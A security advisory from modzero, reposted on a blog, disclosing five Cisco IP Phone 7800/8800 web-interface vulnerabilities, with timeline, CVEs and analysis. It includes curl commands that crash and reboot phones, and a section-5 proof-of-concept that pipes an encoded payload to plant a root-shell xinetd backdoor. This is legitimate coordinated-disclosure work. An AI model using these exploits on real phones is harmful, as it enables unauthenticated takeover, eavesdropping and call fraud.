March 2019 Archives
2019-03-22
Multiple vulnerabilities in Cisco IP Phone 7800 and 8800 series [MZ-19-01]
Link to modzero's security advisory MZ-19-01: https://www.modzero.ch/advisories/MZ-19-01-Cisco-Phones.txt
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modzero Security Advisory:
Multiple vulnerabilities in the web interface of the Cisco IP Phone
7800 and 8800 series [MZ-19-01]
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1. Timeline
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* 2018-06-28: Report with findings delivered to a customer and
findings have been reported by our customer to Cisco.
* 2018-11-21: This advisory has been sent to the Cisco security team
(psirt@cisco.com) to get a status regarding security patches.
* 2018-11-21: Initial response from PSIRT to us.
* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
CSCvn56194, CSCvn56213, CSCvn56221
* 2019-01-23: Information from Cisco that other phones are affected
as well and they still work on a fix.
* 2019-02-19: 90 days period for keeping detailed information back is
over.
* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension
agreed by modzero.
* 2019-03-06: Received CVE-IDs from Cisco
* 2019-03-20: Cisco releases advisory and fixes
* 2019-03-20: Advisory published
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2. Summary
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Vendor: Cisco
* 3.1 Buffer overflow in the phone's webserver
CVE-2019-1716
modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* 10.3(1)SR5 for Unified IP Conference Phone 8831
* 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
* 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series
Not affected according to Cisco:
* IP phones running Multiplatform Firmware
* 3.2 Phone's web interface fails to restrict access to functions
CVE-2019-1763
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821 and 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* IP Conference Phone 8831
* IP phones running Multiplatform Firmware
* 3.3 File upload vulnerability in the phone's web interface
CVE-2019-1766
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* IP Phone 8800 Series products running a SIP Software release
prior to 12.5(1)SR1
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 7832
* Cisco Wireless IP Phone 8821(-EX)
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 8832
* IP phones running Multiplatform Firmware
* 3.4 Phone's file upload affected by path traversal and null
injection
CVE-2019-1765
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
CVSS Base Score according to Cisco: 8.1
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 7832
* IP phones running Multiplatform Firmware
* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
upload function
CVE-2019-1764
modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
CVSS Base Score according to Cisco: 8.1
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 7832
* IP phones running Multiplatform Firmware
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3. Details
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3.1 Buffer overflow in the phone's webserver
The embedded web-server running on the Cisco IP phones suffers from a
buffer-overflow vulnerability. During testing, it was confirmed that a
maliciously crafted, unauthenticated request is able to trigger the
vulnerability and results in re-booting of the phone. Further analysis
of the phone firmware showed that the vulnerability may result in
remote code execution in the context of the web server process.
The vulnerable function is extractUsernameAndPassword() for the
analyzed CP-8832 and CP-8845/65 phone firmware versions. The function
is called whenever a HTTP request needs to be authenticated according
to the HTTP "Basic" authentication schema. First, the function
allocates a 257 byte-sized temporary buffer tmp_buf on the stack.
Then, the HTTP authorization header is acquired through the HTTP
connection object conn. The authorization header is decoded from
base64 representation by the function decodeUserPassword() and stored
into tmp_buf. Before calling decodeUserPassword(), the authorization
header string length is not processed safely. The pseudo-code below
highlights the problematic computation step:
char tmp_buf[257];
memset(tmp_buf, 0, sizeof(tmp_buf));
[...]
unsigned len = strlen(authorization_header);
len = len & 0xffff;
decodeUserPassword(authorization_header, len, tmp_buf);
Instead, the following code should have been employed to correctly
limit the input to the decodeUserPassword() function as follows:
char tmp_buf[257];
memset(tmp_buf, 0, sizeof(tmp_buf));
[...]
unsigned len = strlen(authorization_header);
if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform
decodeUserPassword(authorization_header, len, tmp_buf);
Because of this programming error, an input of up to 65535 characters
can be passed to decodeUserPassword(), which will in consequence
decode and write up to 49152 bytes into tmp_buf and the subsequent
memory area on the stack. The saved stack pointer and program counter
are located right behind tmp_buf and therefore can be overwritten with
arbitrary values. When the function extractUsernameAndPassword()
returns, the modified stack pointer and program counter are loaded
from memory. When arbitrary garbage values are supplied, the program
will typically crash and the phone will reboot. It is likely that with
sufficient knowledge of the memory layout and program state, an
attacker may inject carefully prepared data and execute arbitrary
code.
The following HTTP request was shown to trigger the vulnerability
(HTTP authorization header truncated for readability):
GET /CGI/Java/x HTTP/1.1
Host: localhost
User-Agent: curl/7.58.0
Accept: */*
Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii...
Connection: close
Such a request can be generated with the command below and sent to the
HTTP or HTTPS port of the phone's web server:
curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo
In a disassembly of the vulnerable function
extractUsernameAndPassword() it can be observed that the code lacks
set-up and validation of stack canaries in the function prolog and
epilog. Therefore, an attacker is able to trivially overwrite the
saved program counter located on the stack. The underlying Linux
kernel has Address-Space Layout Randomization (ASLR) enabled
(/proc/sys/kernel/randomize_va_space was observed to be set to the
value 2), but the verbose externally exposed message log via the web
server contains memory addresses from the HTTP server processes as
shown below. Therefore, an attacker is likely to correctly guess
memory addresses and becomes able to defeat the ASLR countermeasure.
7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection -
Added SSL connection handle 0x40f82660, connDesc 90 to table.
3.2 Phone's web interface fails to restrict access to functions
The IP phone's web server implements authorization checks to control
access to functions. A programming error allows to bypass these checks
and access internal functions without authentication. For example, the
phone can be rebooted. This issue facilitated the proof-of-concept
exploit to gain remote root access to IP phones described in the
chapter 5.
Internally, web pages that allow interaction with internal functions
(in contrast to web pages that only display information) are called
"editable pages". If an incoming request is recognized to access an
editable page, further checks for authentication and authorization are
performed.
The disassembly of the vulnerable function isEditablePage() in the two
firmware versions is rewritten as the pseudo-code below and
illustrates how the function employs strcmp() to analyze incoming HTTP
requests. It fails to produce the correct result when the input does
not exactly match the test strings. This is possible for example, when
the parameter string contains additional but insignificant characters
like an ampersand ('&').
int isEditablePage(
char *uri, // query path
char *params, // query parameters
) {
return (
strcmp(uri, "/CGI/Java/Serviceability") == 0 && (
strcmp(params, "adapter=datetime") == 0 ||
strcmp(params, "adapter=datetimelocal") == 0 ||
strcmp(params, "adapter=datetimespec") == 0 ||
...
)
) || ... ;
}
The following command exploits the described behavior to reboot the
phone.
curl -k -d 1
"https:///CGI/Java/Serviceability?adapter=do_restart&"
Another exploit of the described issue is shown in chapter 5.
3.3 File upload vulnerability in the phone's web interface
The IP phone contains a function that allows uploading of files to the
phone's file system. It is usually employed to upload custom
certificates and constructed in a non-standard way, i.e. it already
writes data to a local file during an initial parameter parsing step.
As a consequence, it is possible to write arbitrary file contents,
even when later processing steps fail or no further actions are
performed on the data. This may lead to denial-of-service conditions,
for example storage media failure or storage space exhaustion. The
ability to persist arbitrary data on the device facilitated creation
of the exploit described in the chapter 5.
The problematic file upload function is implemented in Java. Incoming
HTTP POST requests are handled by the doPost method. When the
parameter adapter is equal to "loginPost", "upload_usercert" or
"upload_rootca", the method parseFormResults() is called to process
the request body. parseFormResults() iterates over all body parts and
in turn calls parseHeader() for each. Instead of postponing any data
processing steps until all input has fully been validated, the method
parseFormResults() has the side-effect of writing the parts named
"rootca" and "usercert" to the file system.
3.4 Phone's file upload affected by path traversal and null injection
The IP phones contain a file upload function which is vulnerable to
path traversal and null byte injection. An attacker is able to write
to arbitrary files in the file system, with permissions of the web
server process. The proof of concept exploit in the chapter 5 shows
how this issue enabled writing to configuration file locations to
place a persistent back-door on the phone.
The problematic file upload function is implemented in Java. The
parseHeader() method constructs target file paths with the two
following statements:
this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca +
".up";
this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert +
".up";
An attacker directly controls the member variables rootca and
usercert. By prefixing a desired path with a sequence of dots and
slashes and terminating the string with a null character, an arbitrary
file path can be written to.
3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
upload function
The web interface available on the phones contains an upload function
for user-provided certificates. To protect against Cross-Site Request
Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the Anti-
CSRF token is validated too late, after input data has already been
written to the file system. Therefore, the Anti-CSRF token is
ineffective and does not protect the upload function from CSRF
attacks. An attacker may abuse this behavior to exploit security
vulnerabilities in the phone's web server in a CSRF-scenario: For
example, by luring an internet-connected victim web browser onto an
attacker-controlled page. If the (possibly authenticated) victim also
has access to the phone's web server, the attacker-controlled page may
submit malicious requests to the phone.
The method parseFormResults() in the upload implementation verifies
the CSRFToken parameter as final step. This is insufficient, because
actions with substantial side-effects have already been performed
before the check raises an exception. The exception caused by failure
of the CSRFToken check does not inhibit exploitation of
vulnerabilities, as demonstrated by the proof-of-concept in chapter 5.
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4. Impact
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modzero identified several critical vulnerabilities in Cisco phone web
interfaces which lead to a full compromise of the phone without any
authentication. An attacker could exploit these vulnerabilities to
obtain sensitive call data, to perform call fraud, as well as an audio
and video surveillance of offices, and to use the phones as attack
platform for other infrastructure.
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5. Proof of concept exploit
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An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1-
1) was successfully compromised via exploitation of a combination of
vulnerabilities. The command below performs a carefully constructed
HTTP request to the phone's web server to exploit the vulnerabilities
documented in this advisory:
echo
"H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe
jAzjLW99wkCZ8WsNlItXE"\
"mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy
Afhc0J9NyoqoYoQgrB06DaSjw5"\
"UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9
u+uVB8Xbh1WQtPExeckFQBAAA="|
base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type:
multipart/form-data; boundary=xxx" \
"https:///CGI/Java/Serviceability?adapter=loginPost&"
The first exploited vulnerability is the issue described in section
3.1: The authorization check to access the loginPost function is
bypassed by appending an ampersand (`&') symbol to the URL. The input
payload data is written to the file system due to the file upload
vulnerability described in section 3.3. By exploiting the path
traversal and null injection vulnerability documented in section 3.4,
an internal path can be specified to write into configuration files.
The attacker does not provide a valid anti-CSRF token, which causes
the server to respond with HTTP error 400 Bad Request. But this does
not stop the attack, because of the vulnerable anti-CSRF token
validation mechanism described in section 3.5.
The malicious request writes two files. First, a configuration for a
backdoor xinetd service is written to the location
/usr/local/xinetd/x. The service consists of a root (user 0) shell
listening on tcp port 22. (Port 22 was selected, because observed
firewall configuration suggested that traffic to this port is
typically allowed and expected. If another service is already active
on port 22, this may need to be adjusted.) The xinetd configuration is
reproduced below:
service x
{
type = unlisted
protocol = tcp
wait = no
user = 0
group = 0
server = /bin/sh
server_args = -i
port = 22
}
The second part of the requests writes the empty string to
/var/run/xinetd.pid, effectively truncating the file. This file is
periodically inspected by the cron script located in
/etc/cron.5mins/02xinetdmon, which is shown below. The cron script
executes every fifth minute in the hour and after xinetd.pid was
tampered with, will ensure that xinetd starts with the backdoor
configuration.
#!/bin/sh
xinetd_pid=$( cat /var/run/xinetd.pid )
if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then
# In dd/mm/yy/hour/min/sec format
currtime=$(date +"%d%m%y%H%M%S")
echo "$currtime: cannot find xinetd" >>
/usr/local/backtraces/xinetd.crash
echo "$currtime: starting xinetd" >>
/usr/local/backtraces/xinetd.crash
/etc/init.d/xinetd.sh start
fi
After waiting until the next fifth minute has passed, the backdoor
service is started and can be accessed via connecting to port 22 of
the phone.
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6. Workaround
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Disabling the web interface on the phone eliminates the risk.
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7. Fix
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According to the Cisco advisories, fixes are available.
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8. Credits
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* David Gullasch
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9. About modzero
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The independent Swiss company modzero AG assists clients with security
analysis in the complex areas of computer technology. The focus lies
on highly detailed technical analysis of concepts, software and
hardware components as well as the development of individual
solutions. Colleagues at modzero AG work exclusively in practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.
https://www.modzero.ch
contact@modzero.ch
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10. Disclaimer
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The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.